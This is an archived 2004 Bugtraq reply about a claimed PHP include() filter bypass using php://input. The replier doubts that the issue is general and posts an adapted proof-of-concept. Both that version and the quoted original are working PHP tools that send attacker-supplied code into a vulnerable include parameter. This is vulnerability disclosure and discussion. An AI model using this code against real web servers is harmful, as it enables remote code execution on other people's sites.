Re: [PHP] include() bypassing filter with php://input

From: clez (bt_sf_com_20040528_at_clez.net)
Date: 05/28/04

  • Next message: Chintan Trivedi: "Mollensoft ftp Server ver 3.6 Buffer overflow" 
    To: bugtraq@securityfocus.com
Date: Fri, 28 May 2004 21:27:11 +0200

    Hi there!

    i use php 4.3.5 and tried this "proof of concept". i assumed, that the
    form attribute "methode" is a typing mistake and adapted the exploit to
    get it working under a php 4.3.x default configuration (it's kinda
    paradox to use autoglobals in an exploit that aims to secure other
    products).

    but even this adapted version (see below) does not show anything on
    execution.

    this exploit seems to rely on a exploitable web service, that gets paths
    to include files from a get variable named "page".

    so this seems to me like a (fixed/changed) bug at the single service
    "www.exemple.com" (not to be mixed up with www.example.com from rfc
    2606) and not a general php issue.

    ############ snippet start ############
    <form method="post" >
    target server : <input type="text" name="server"/><br/>
    file : <input type="text" name="file" /><br/>
    exec : <input type="text" name="cmd" /><br/>
    <input type="submit" value="send" />
    </form>
    <?php
    if(is_array($_POST) && isset($_POST['cmd']) && isset($_POST['server'])
    && isset($_POST['file'])){
        $message = "POST /".$_POST['file']."php://input HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "Accept-Encoding: deflate\r\n";
        $message .= "Host: ".$_POST['server']."\r\n";
        $message .= "Content-length: ".strlen($_POST['cmd'])."\r\n";
        $message .= "\r\n";
        $message .= urlencode($_POST['cmd'])."\r\n";
        $fd = fsockopen($_POST['server'],80);
        fputs($fd,$message);
        while(!feof($fd)) {
            echo fgets($fd,1280);
        }
        fclose($fd);
    }
    ?>
    ############ snippet end ############

    On Fri, 2004-05-28 at 06:51, Keary Suska wrote:
    > What exactly does your "proof of concept" do? I tried this on my system with
    > PHP 4.34.x--which, by the way, is when support for php://input began, *not*
    > 3.0.13--and nothing happened whatsoever. Where's the proof?
    >
    > on 5/27/04 3:07 AM, lostnoobs@security-challenge.com purportedly said:
    >
    > >
    > >
    > > Informations :
    > > 같같같같같같같
    > > Website : http://www.php.net
    > > Version : PHP 3.0.13 =>
    > > Problem : Inlude() bypassing filter
    > >
    > >
    > > Proof of concept:
    > > 같같같같 Exploit 같같같같�
    > > <------------ cut here ---------------->
    > > <form action="" methode="post" >
    > > target server : <input type="text" name="server" ><br>
    > > file : <input type="text" name="file" ><br>
    > > exec : <input type="text" name="cmd" ><br>
    > > <INPUT type="submit" value="send">
    > > </form>
    > >
    > > <?
    > > if($cmd){
    > > $message = "POST /".$file."php://input HTTP/1.1\r\n";
    > > $message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
    > > application/x-shockwave-flash, */*\r\n";
    > > $message .= "Accept-Language: fr\r\n";
    > > $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    > > $message .= "Accept-Encoding: deflate\r\n";
    > > $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
    > > MyIE2)\r\n";
    > > $message .= "Host: ".$server."\r\n";
    > > $message .= "Content-length: ".strlen( $cmd )."\r\n";
    > > $message .= "Connection: Keep-Alive\r\n";
    > > $message .= "Cache-Control: no-cache\r\n";
    > > $message .= "\r\n";
    > > $message .= $cmd."\r\n";
    > > $fd = fsockopen( $server, 80 );
    > > fputs($fd,$message);
    > > while(!feof($fd)) {
    > > echo fgets($fd,1280);
    > > }
    > > fclose($fd);
    > > }
    > > ?>
    > > <------------ cut here ---------------->
    > >
    > > target server = "www.exemple.com"
    > > file = "index.php?page="
    > > exec = "<? phpinfo(); ?>"
    > >
    > > Explaination
    > > 같같같같같같같
    > > You can bypassing filter protection who parse http:// or ftp:// ...
    > > "php://input" allows to put data in the function include() by sending a
    > > request with code php in POST methode.
    > >
    > >
    > > For More details :
    > > 같같같같같같같
    > > http://fr2.php.net/manual/en/wrappers.php.php
    > > irc.fr.worldnet.net #s-c
    > >
    > > Nourredine Himeur
    > >
    > > www.security-challenge.com
    > >
    > > This vulnerability was found by Slythers but he's too shy for publish the vuln
    > > ;)
    > >
    > > greetz : mum , daddy , tcpteam , Nyx
    > >
    > >
    > >
    >
    >
    > Keary Suska
    > Esoteritech, Inc.
    > "Leveraging Open Source for a better Internet"
    >

  • Next message: Chintan Trivedi: "Mollensoft ftp Server ver 3.6 Buffer overflow"

    Relevant Pages

    • Re: Organizing scripts
      ... of a php script in real time and even identify where it found an error. ... hit tab again and be placed within the body of the function. ... Set snippet to "_ina" ... So do the spirits who are ...
      (alt.php)
    • PHP, Server-Side?
      ... I was wondering if it is possible with PHP to create a snippet of code ... which could execute on one server but be stored of a different server? ...
      (php.general)
    • WHERE alternative??
      ... time if this is a noob question. ... so i purchased and read the PHP for the Wolrd Wide Web by Larry ... Ullman and started to write my own script. ... here is a snippet: ...
      (comp.lang.php)
    • Re: Cant Escape
      ... I'm trying to do something simple and grabbed a snippet from the php ... //List files in images directory ... //NOT WORKING - shows the little blue question mark box ...
      (comp.lang.php)
    • WHERE alternative??
      ... time if this is a noob question. ... so i purchased and read the PHP for the Wolrd Wide Web by Larry ... Ullman and started to write my own script. ... here is a snippet: ...
      (comp.lang.php)